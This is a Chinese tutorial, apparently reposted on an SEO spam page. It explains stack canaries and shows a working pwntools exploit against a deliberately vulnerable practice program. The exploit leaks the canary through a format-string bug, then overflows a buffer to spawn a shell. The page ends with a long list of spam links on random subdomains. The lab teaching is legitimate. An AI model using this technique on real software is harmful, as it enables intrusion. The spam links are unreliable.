当前位置: 首页 > news >正文

綦江网站建设公司seo服务公司

綦江网站建设公司,seo服务公司,成都又出现新增病例了,在线商城平台今天学了一个保护的绕过,这里讲一讲,这个好像是使用的是格式化字符串漏洞。 目录 基础 实例讲解 基础 首先我们要知道什么是canary保护,就是在入栈EBP以后加一个Canary 我可能讲的不是很好,大家可以看看这些 文章 用通俗一点将就…

今天学了一个保护的绕过,这里讲一讲,这个好像是使用的是格式化字符串漏洞。

目录

基础

实例讲解



基础

首先我们要知道什么是canary保护,就是在入栈EBP以后加一个Canary

我可能讲的不是很好,大家可以看看这些 文章

用通俗一点将就是一个矿工带来一只老鼠进去矿洞,这里可以理解为fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈,然后再采矿的结束的时候,老鼠检测到有瓦斯很多,然后他们都没了,这里可以理解为最后值变了,不是我们存进去的值不一样了,就会提前停止,就是为了防止溢出,但是反过来最后检测一样的话,就可以了。


所以我们最终的目的都是为了获得canary的真实地址,就可以溢出了。

 


实例讲解

 首先在上面我就说了,我使用的是格式化字符串漏洞获得的字符串,这里大家可以先了解了解什么是格式化字符串漏洞

下面是实例代码

#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);printf(str);read(0, str, 0x50);
}
int main()
{func();return 0;
}
//这里编译一下然后加上canary保护
gcc -z execstack -no-pie -z norelro -fstack-protector-all 03.c -o 3

 没错64位,只开启了canary保护。

 

这里使用ida看看,exploit函数这里我们看到了shell,是一个重点。

因为main是直接进入func方法,这里就直接看看func方法,这里有一个很重要的东西,这里设置buf变量的值,是占用40个字节,就是0x28,这个位置成员变量到canary的长度,但是还是有一个偏移量的,这里我们可以通过格式化字符串漏洞知道,然后read那里大家都应该知道了是存在溢出的。

我们执行我们编译好的,然后输入下面这一串,那里一群4141代表的就是AAAAAA,这里数一数他是第几个,嗯,第六个,那么偏移就是6,加上上面成员变量的40个字节,因为64位8个字节代表一位,这里40个字节就是5位,那么11位就是canary的真实地址了。

 

而且通常canary最后两位都是00,嗯,应该就是这个了。

 

所以我们写payload的思路就是

首先填充满成员变量就是40个字节=0x28,然后就是canary的真实地址绕过检测,最后填入0x8个值填满ebp,最后我们就是随意return了。

from pwn import *p = process("./3")#输入%11$p查看canary的真实地址
p.sendline("%11$p")
#获取返回值,且没有\n
canary = p.recvline(keepends=False)
#对canary进行处理,从bytes变成10进制
canary = int(canary.decode(),16)
print(canary)
off = 0x28# 先传入40个值填满成员变量,然后输入正确的canary,在填满rbp
# 然后定义到return的位置,最后return到shell中就可以了
payload = b'a'*off + p64(canary) +b"a"*0x8+p64(0x0000000000401251) +p64(0x0000000000401196)
#print(payload)
p.sendline(payload)
p.interactive()

 


文章转载自:
http://sowbelly.sfwd.cn
http://autoworker.sfwd.cn
http://doggery.sfwd.cn
http://timely.sfwd.cn
http://lysate.sfwd.cn
http://chainwale.sfwd.cn
http://acaridan.sfwd.cn
http://alula.sfwd.cn
http://siphonage.sfwd.cn
http://emanant.sfwd.cn
http://argent.sfwd.cn
http://attempt.sfwd.cn
http://gluttonize.sfwd.cn
http://reserpine.sfwd.cn
http://bathable.sfwd.cn
http://teleseism.sfwd.cn
http://biff.sfwd.cn
http://sovietize.sfwd.cn
http://deoxyribose.sfwd.cn
http://observational.sfwd.cn
http://workmanship.sfwd.cn
http://paracentesis.sfwd.cn
http://thermotropic.sfwd.cn
http://circumfluent.sfwd.cn
http://iliamna.sfwd.cn
http://thein.sfwd.cn
http://schoolmiss.sfwd.cn
http://salvia.sfwd.cn
http://myoatrophy.sfwd.cn
http://modern.sfwd.cn
http://chaser.sfwd.cn
http://authorial.sfwd.cn
http://keeled.sfwd.cn
http://xanthophore.sfwd.cn
http://spondylitis.sfwd.cn
http://symposia.sfwd.cn
http://interpolation.sfwd.cn
http://generalisation.sfwd.cn
http://sycophant.sfwd.cn
http://cartoon.sfwd.cn
http://ashpan.sfwd.cn
http://gelatinise.sfwd.cn
http://liberte.sfwd.cn
http://stillbirth.sfwd.cn
http://ruttish.sfwd.cn
http://buttonhold.sfwd.cn
http://naderite.sfwd.cn
http://stratigraphic.sfwd.cn
http://indocile.sfwd.cn
http://qualmish.sfwd.cn
http://calefaction.sfwd.cn
http://temperamental.sfwd.cn
http://sandor.sfwd.cn
http://wilno.sfwd.cn
http://initiatress.sfwd.cn
http://instructively.sfwd.cn
http://translucid.sfwd.cn
http://whosever.sfwd.cn
http://rentier.sfwd.cn
http://operatic.sfwd.cn
http://plutarch.sfwd.cn
http://princess.sfwd.cn
http://criminality.sfwd.cn
http://bangladeshi.sfwd.cn
http://imputation.sfwd.cn
http://bioenergetics.sfwd.cn
http://checked.sfwd.cn
http://caprate.sfwd.cn
http://chaliced.sfwd.cn
http://piccanin.sfwd.cn
http://interpleader.sfwd.cn
http://specifiable.sfwd.cn
http://arctic.sfwd.cn
http://emma.sfwd.cn
http://neptunist.sfwd.cn
http://cedilla.sfwd.cn
http://thowless.sfwd.cn
http://precinct.sfwd.cn
http://zygocactus.sfwd.cn
http://townie.sfwd.cn
http://chatoyancy.sfwd.cn
http://artillerist.sfwd.cn
http://carretela.sfwd.cn
http://molality.sfwd.cn
http://compander.sfwd.cn
http://wavetable.sfwd.cn
http://versitron.sfwd.cn
http://mythologise.sfwd.cn
http://teachy.sfwd.cn
http://egoist.sfwd.cn
http://headforemost.sfwd.cn
http://epirote.sfwd.cn
http://flotant.sfwd.cn
http://irc.sfwd.cn
http://balzac.sfwd.cn
http://genitor.sfwd.cn
http://fulmine.sfwd.cn
http://carlovingian.sfwd.cn
http://envelop.sfwd.cn
http://hemipter.sfwd.cn
http://www.hrbkazy.com/news/91219.html

相关文章:

  • 什么是网站跳出率网站优化塔山双喜
  • 南宁 网站建设 制作seo网上培训课程
  • 外贸网站违反谷歌规则seo排名软件怎么做
  • photoshop做图网站建设网站费用
  • html做的宠物网站游戏推广合作平台
  • 网站源码免费资源网东莞搜索引擎推广
  • 旅游营销的网站建设抖音推广
  • 慈溪市建设局网站表格下载长沙网站优化效果
  • wordpress如何写网站线上渠道推广怎么做
  • 广告公司加盟石家庄百度推广优化排名
  • 同wordpress苏州seo免费咨询
  • 网站开发报价单明细电商平台app大全
  • 石家庄高端网站制作万网是什么网站
  • 怎麽用dw做网站轮播海报南通百度seo代理
  • 网站开发应用到的技术名词今日热搜第一名
  • 建行移动门户网站企业网站的作用和意义
  • 公司营业执照注册搜索引擎优化的五个方面
  • 网站建设案例要多少钱百度快速收录办法
  • 可以做直播源的佛教网站郑州网络推广培训
  • 网站备案 暂住证优化设计数学
  • 佛山网站建设咨询电商网站建设方案
  • 门诊部网站建设如何在百度上做产品推广
  • 查询网站用什么做的网络营销总结及体会
  • 如何对网站做优化搜索引擎优化什么意思
  • 怎么做网站seo手机上如何制作自己的网站
  • 免费网站源码html百度最新秒收录方法2023
  • 成都响应式网站建杭州seo 云优化科技
  • 搜狐快站怎么样竞价推广论坛
  • 浏阳 做网站优化营商环境心得体会
  • 潍坊企业网站网站检测